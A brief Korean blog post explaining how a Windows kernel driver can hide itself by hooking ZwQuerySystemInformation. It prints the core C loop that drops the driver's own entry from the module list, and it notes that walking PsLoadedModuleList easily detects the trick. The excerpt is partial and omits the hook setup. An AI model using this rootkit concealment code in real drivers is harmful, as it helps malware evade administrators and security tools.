[윈도우즈] 커널 모듈 숨기기

커널에서 ZwQuerySystemInformation을 후킹해서 모듈을 숨기는 방법이다. 물론 이 방법은 직접  PsLoadedModuleList를 traversing하면 쉽게 발각된다. 하지만 이 예제 코드는 MDL을 사용해서 유저랜드에 메모리 할당하기 등과 같은 여러가지 커널과 관련된 기법들 을 포함하고 있어서 꽤 유용하다.
 
핵심적인 코드는 다음 부분, 모듈 이름이 현재 드라이버 이름과 같으면 넘기지 않는다.
c = (PCHAR) ((PULONG)SystemInformation + 1); p = (PSYSTEM_MODULE_INFORMATION)(q + 1); for(i = 0; i < *q; i++) { if(_strnicmp(p[i].ImageName + p[i].ModuleNameOffset, g_DriverName, g_uiDriverNameLen) != 0) { memcpy((PVOID)c, (PVOID)(&p[i]), sizeof(SYSTEM_MODULE_INFORMATION)); c += sizeof(SYSTEM_MODULE_INFORMATION); } }

Leave a Reply